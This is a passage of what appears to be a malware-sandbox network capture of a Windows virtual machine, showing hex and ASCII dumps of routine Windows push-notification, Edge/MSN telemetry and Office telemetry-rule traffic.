2024-11-26 00:41:54 UTC	14144	IN	Data Raw: 0c a3 93 e8 4d 3d f9 13 42 d2 6f e0 09 9c 2b 04 0a 56 93 97 86 75 72 96 b0 6c d2 80 19 e3 a3 e6 66 20 72 6a 16 ee 11 47 cb a9 a4 b2 69 6d bf 31 d9 1b 7a 67 52 4f 1a fb 5e ef 04 cc c3 52 c2 85 7c 49 11 cc 7b db 3d 3a 2f 11 09 c0 38 7b f3 96 77 21 b5 35 c7 20 cc 8d 8d 2b a9 ac 7d 6c 62 50 06 a9 f1 64 5f 4c 51 49 1b 64 31 60 50 49 a5 69 f5 f7 74 b0 ef 4c 43 0b 11 38 73 73 ad dd 99 15 8d 78 38 01 5c c0 19 72 97 54 12 9a 35 28 da 79 00 b2 6e 28 10 a4 a8 83 ab e8 fa 4f 5b f5 06 ea 51 76 00 54 00 a3 48 e3 2f 8b 4d c2 0c 17 3d 24 69 13 ee fb 3e 0d 5d 18 4a 35 28 a7 96 4f 6a 2c f6 2c 57 15 15 42 c1 e4 42 bd be c7 11 7d 3d b5 d5 76 12 76 02 93 ff 00 42 fc c0 aa ea 2a 9b 85 20 54 42 8f b1 ac 74 fe b8 bd 6d 50 a3 8b 8a b3 1c df 82 fa 3d 48 ab d3 92 7e 57 16 5d 9d 4f Data Ascii: M=Bo+Vurlf rjGim1zgRO^R\|I{=:/8{w!5 +}lbPd_LQId1`PIitLC8ssx8\rT5(yn(O[QvTH/M=$i>]J5(Oj,,WBB}=vvB* TBtmP=H~W]O

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.6	49936	20.198.119.84	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 00:41:54 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 31 7a 6a 54 33 6a 33 78 30 30 71 4b 48 6d 67 59 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 65 32 63 36 61 30 30 62 34 35 66 66 31 65 63 62 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: 1zjT3j3x00qKHmgY.1Context: e2c6a00b45ff1ecb
2024-11-26 00:41:54 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-11-26 00:41:54 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 31 7a 6a 54 33 6a 33 78 30 30 71 4b 48 6d 67 59 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 65 32 63 36 61 30 30 62 34 35 66 66 31 65 63 62 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 62 42 67 6e 77 68 42 53 43 51 68 78 6a 47 73 41 6c 62 45 5a 45 35 57 43 5a 65 76 33 36 32 37 7a 70 76 79 64 4c 2b 65 36 44 57 34 46 36 4b 48 33 66 4c 77 32 48 41 48 63 58 37 31 53 6b 68 39 63 67 61 6c 74 37 54 30 5a 78 4b 66 34 36 4a 76 67 57 54 49 72 68 41 77 74 76 71 39 4a 6e 35 69 37 4e 75 42 4e 56 69 4c 4a 41 75 46 56 75 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: 1zjT3j3x00qKHmgY.2Context: e2c6a00b45ff1ecb<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAbBgnwhBSCQhxjGsAlbEZE5WCZev3627zpvydL+e6DW4F6KH3fLw2HAHcX71Skh9cgalt7T0ZxKf46JvgWTIrhAwtvq9Jn5i7NuBNViLJAuFVu
2024-11-26 00:41:54 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 31 7a 6a 54 33 6a 33 78 30 30 71 4b 48 6d 67 59 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 65 32 63 36 61 30 30 62 34 35 66 66 31 65 63 62 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: 1zjT3j3x00qKHmgY.3Context: e2c6a00b45ff1ecb<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-11-26 00:41:55 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-11-26 00:41:55 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 65 76 71 64 6d 4b 44 46 7a 45 43 65 5a 71 76 55 59 4e 53 56 4f 41 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: evqdmKDFzECeZqvUYNSVOA.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
142	192.168.2.6	49938	52.168.117.168	443	7936	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 00:41:55 UTC	1043	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732581710303&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 5921 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=3553E294F9366CAE0604F7D7F89E6D7D; _EDGE_S=F=1&SID=19E68B138E4E65C034629E508FE76492; _EDGE_V=1; _C_ETH=1; msnup=
2024-11-26 00:41:55 UTC	5921	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 41 70 70 45 72 72 6f 72 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 32 36 54 30 30 3a 34 31 3a 35 30 2e 33 30 30 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 32 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 66 35 61 61 64 30 31 33 2d 31 34 63 34 2d 34 64 34 39 2d 61 34 32 33 2d 30 30 38 30 62 35 66 34 36 66 65 32 22 2c 22 65 70 6f 63 68 22 3a 22 31 31 33 34 37 34 39 37 36 39 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.AppError","time":"2024-11-26T00:41:50.300Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":2,"installId":"f5aad013-14c4-4d49-a423-0080b5f46fe2","epoch":"1134749769"},"app":{"locale
2024-11-26 00:41:55 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=d561270b48b44f12abdb863b0bd58398&HASH=d561&LV=202411&V=4&LU=1732581715324; Domain=.microsoft.com; Expires=Wed, 26 Nov 2025 00:41:55 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=dfe758007eed40ed998a648f49635d2f; Domain=.microsoft.com; Expires=Tue, 26 Nov 2024 01:11:55 GMT; Path=/;Secure; SameSite=None time-delta-millis: 5021 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Tue, 26 Nov 2024 00:41:54 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.6	49939	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 00:41:55 UTC	193	OUT	GET /rules/rule120602v10s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 00:41:56 UTC	515	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 00:41:55 GMT Content-Type: text/xml Content-Length: 2592 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5B890DB" x-ms-request-id: 8c2ab893-e01e-0003-5391-3f0fa8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T004155Z-174f7845968xr5c2hC1EWRd0hn0000000bgg000000006ayy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-26 00:41:56 UTC	2592	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 32 22 20 56 3d 22 31 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 6e 64 4c 61 6e 67 75 61 67 65 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120602" V="10" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAndLanguage" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa=

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.6	49941	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 00:41:55 UTC	193	OUT	GET /rules/rule224901v11s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 00:41:56 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 00:41:55 GMT Content-Type: text/xml Content-Length: 2284 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:13 GMT ETag: "0x8DC582BCD58BEEE" x-ms-request-id: 49e8a97e-c01e-008e-5491-3f7381000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T004155Z-174f7845968cdxdrhC1EWRg0en0000000umg000000006ngh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 00:41:56 UTC	2284	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 31 22 20 56 3d 22 31 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4c 69 63 65 6e 73 69 6e 67 2e 4f 66 66 69 63 65 43 6c 69 65 6e 74 4c 69 63 65 6e 73 69 6e 67 2e 44 6f 4c 69 63 65 6e 73 65 56 61 6c 69 64 61 74 69 6f 6e 22 20 41 54 54 3d 22 63 31 61 30 64 62 30 31 32 37 39 36 34 36 37 34 61 30 64 36 32 66 64 65 35 61 62 30 66 65 36 32 2d 36 65 63 34 61 63 34 35 2d 63 65 62 63 2d 34 66 38 30 2d 61 61 38 33 2d 62 36 62 39 64 33 61 38 36 65 64 37 2d 37 37 31 39 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 54 3d 22 55 70 6c 6f 61 64 2d 4d 65 64 69 75 6d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224901" V="11" DC="SM" EN="Office.Licensing.OfficeClientLicensing.DoLicenseValidation" ATT="c1a0db0127964674a0d62fde5ab0fe62-6ec4ac45-cebc-4f80-aa83-b6b9d3a86ed7-7719" SP="CriticalCensus" T="Upload-Medium"

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.6	49942	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 00:41:55 UTC	191	OUT	GET /rules/rule90401v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 00:41:56 UTC	515	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 00:41:56 GMT Content-Type: text/xml Content-Length: 1250 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE4487AA" x-ms-request-id: baa0a071-001e-0082-5b91-3f5880000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T004156Z-174f7845968frfdmhC1EWRxxbw0000000urg00000000630k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-26 00:41:56 UTC	1250	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 39 30 34 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 53 61 6d 70 6c 69 6e 67 50 6f 6c 69 63 79 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 4d 65 74 61 64 61 74 61 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="90401" V="3" DC="ESM" EN="Office.Telemetry.SamplingPolicy" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" DL="A" DCa="PSP PSU" xmlns=""> <RIS> <RI N="Metadata" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.6	49940	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 00:41:55 UTC	192	OUT	GET /rules/rule120601v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 00:41:56 UTC	515	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 00:41:56 GMT Content-Type: text/xml Content-Length: 3342 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:34 GMT ETag: "0x8DC582B927E47E9" x-ms-request-id: 6eac8613-a01e-006f-3091-3f13cd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T004156Z-174f784596886s2bhC1EWR743w0000000umg000000006a20 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-26 00:41:56 UTC	3342	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 4f 53 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120601" V="3" DC="SM" EN="Office.System.SystemHealthMetadataOS" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC" xmlns=""> <RI

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.6	49943	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 00:41:55 UTC	192	OUT	GET /rules/rule701201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 00:41:56 UTC	515	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 00:41:56 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:51 GMT ETag: "0x8DC582BE3E55B6E" x-ms-request-id: a75c6aaa-401e-002a-4291-3fc62e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T004156Z-174f7845968nxc96hC1EWRspw80000000ua0000000005tbq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-26 00:41:56 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
148	192.168.2.6	49944	52.168.117.168	443	7936	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 00:41:55 UTC	1044	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732581712788&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 11539 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=3553E294F9366CAE0604F7D7F89E6D7D; _EDGE_S=F=1&SID=19E68B138E4E65C034629E508FE76492; _EDGE_V=1; _C_ETH=1; msnup=
2024-11-26 00:41:55 UTC	11539	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 4c 6f 61 64 54 69 6d 65 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 32 36 54 30 30 3a 34 31 3a 35 32 2e 37 38 37 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 33 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 66 35 61 61 64 30 31 33 2d 31 34 63 34 2d 34 64 34 39 2d 61 34 32 33 2d 30 30 38 30 62 35 66 34 36 66 65 32 22 2c 22 65 70 6f 63 68 22 3a 22 31 31 33 34 37 34 39 37 36 39 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.LoadTime","time":"2024-11-26T00:41:52.787Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":3,"installId":"f5aad013-14c4-4d49-a423-0080b5f46fe2","epoch":"1134749769"},"app":{"locale
2024-11-26 00:41:56 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=faf0b90ba2ca4a54a8434ec5f3f8abe8&HASH=faf0&LV=202411&V=4&LU=1732581716137; Domain=.microsoft.com; Expires=Wed, 26 Nov 2025 00:41:56 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=83d736ce8abe4780abff9da6421df4ad; Domain=.microsoft.com; Expires=Tue, 26 Nov 2024 01:11:56 GMT; Path=/;Secure; SameSite=None time-delta-millis: 3349 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Tue, 26 Nov 2024 00:41:55 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
149	192.168.2.6	49945	52.168.117.168	443	7936	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 00:41:55 UTC	1043	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732581712790&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 5003 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=3553E294F9366CAE0604F7D7F89E6D7D; _EDGE_S=F=1&SID=19E68B138E4E65C034629E508FE76492; _EDGE_V=1; _C_ETH=1; msnup=
